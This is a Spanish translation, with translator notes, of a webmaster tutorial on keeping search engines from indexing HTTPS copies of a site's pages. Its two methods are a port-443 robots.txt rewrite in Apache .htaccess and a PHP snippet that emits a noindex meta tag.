En algunos casos solamente una página requiere el uso de SSL (como el formulario de contacto o de pagar). La opción más cómoda y habitual en esos casos es tener esa página siguiendo la estructura estandar del resto del sitio web. Cambiando solamente el "prefijo de protocolo" de la dirección de esa página (de http a https).

Sin embargo, esta técnica es la que nos puede llevar a los problemas de indexación en los buscadores que antes hemos comentado, puesto que los buscadores, si siguen los enlaces que salgan de esa única página SSL, son llevados a "duplicados" de las páginas estandar del sitio, pero con el prefijo https [NT: hay que recalcar aquí que para los buscadores la dirección http://www.midominio.com/servicios.htm es en principio diferente que https://www.midominio.com/servicios.htm, con lo cuál indexará las dos direcciones como páginas diferentes].

Esto sucede porque normalmente todos los enlaces internos dentro de un sitio web son enlaces relativos y por tanto heredan el protocolo y el dominio de la página en donde aparecen.En conclusión, Google -y posiblemente los otros buscadores- pueden considerar esta situación como un intento de "duplicación" de contenidos [NT: técnica que algunos desarrolladores de webs intentan de vez en cuando para engañar a los buscadores, y que por tanto está muy penalizado]. Y esto se traduciría en que los buscadores que quisiseran penalizarte rebajarían la posición de tu página en el ranking páginas en las búsquedas de los internautas.

Una vez indexadas, Google continuará visitando esas páginas seguras de tu sitio, a menos que las excluyas mediante el archivo robots.txt o con meta tags [NT: meta etiquetas] especiales en la cabecera de cada página.

Entonces, ¿cómo puedo evitar que Google visite esas páginas?

Si te encuentras en la posición descrita, te parecerá que no hay manera de solucionarlo fácilmente.

Hay una manera de que el archivo robots.txt redireccione las peticiones de páginas seguras a un segundo archivo que excluiría las páginas seguras a los programas de rastreo.

Para aplicar esta solución, sin embargo, debes usar el servidor Apache en tu hosting con el mod_rewrite activado [NT en inglés "enabled"].

Primero, deberías crear un segundo archivo robots.txt, llamándolo robots_ssl.txt (o el nombre que prefieras), asegurándote de que bloquea a los rastreadores de todos los buscadores. Súbelo a la raíz de tu dominio.

Para más información acerca del archivo robots.txt, qué es y cómo funciona, visita The web Robots Pages [NT: en habla hispana es recomendable WebRecursos - robots.txt].

Aquí tienes un ejemplo de este archivo:

User-agent: Googlebot
Disallow: /

User-agent: *
Disallow: /

Además, necesitarás añadir los siguientes comandos al archivo .htaccess que haya en la raíz de archivos de tu servidor [NT: root document folder]:

RewriteEngine on
Options +FollowSymlinks
RewriteCond %{SERVER_PORT} ^443$
RewriteRule ^robots.txt$ robots_ssl.txt

Resumidamente, este comando ordena al servidor web a dirigir cualquier petición para el archivo robots.txt que provenga del puerto 443 (usado para las conexiones SSL, en lugar del puerto 80 habitual para las conexiones web estandar) al segundo archivo que creamos, y que bloquea la indexación.

Para poder comprobar que está funcionando esta técnica, escribe la URL de tu archivo robots.txt en tu navegador para ver el comportamiento habitual del mismo para comandos estandar. Y luego prueba a escribir la misma URL pero con el prefijo de protocolo seguro (https) y deberías ver el contenido del segundo archivo, robots_ssl.txt.

¿Qué puedo hacer si no puedo utilizar mod_rewrite?

Si te es imposible activar mod_rewrite, ya sea porque no utilizas un servidor Apache, o porque no está habilitada esta función, todo lo anterior no te sirve de nada.

Si utilizas PHP para generar las páginas de tu site, puedes utilizarlo para comprobar si se está llamando a tu página mediante SSL, y en caso afirmativo puedes incluir un meta tag en la cabecera [NT: head] de tus documentos para desactivar la indexación por los buscadores.

El siguiente código, situado en cualquier parte de la cabecera de tu documento [NT: entre <head> y </head>] insertará el meta tag robots si el valor de la variable HTTPS del servidor está establecida a 'on':

1  <?php
2  
3       if (isset($_SERVER['HTTPS']) 
4                 && strtolower($_SERVER['HTTPS'])=='on'){
5  
6       echo "\n<meta name='robots' content='noindex,nofollow'>";
7  
8       }
9  
10  ?>

Para verificar el funcionamiento correcto de este código, visita cualquier página en la que lo hayas incluido utilizando SSL (https://www.midominio.com/archivo.php). Y luego usa el comando ver codigo fuente de tu navegador para comprobar que el metatag aparece insertado en la cabecera del documento.

Enlaces de interés

Preventing search engine indexing of secure pages (artículo original)

Redirección 301 en PHP para migraciones de dominio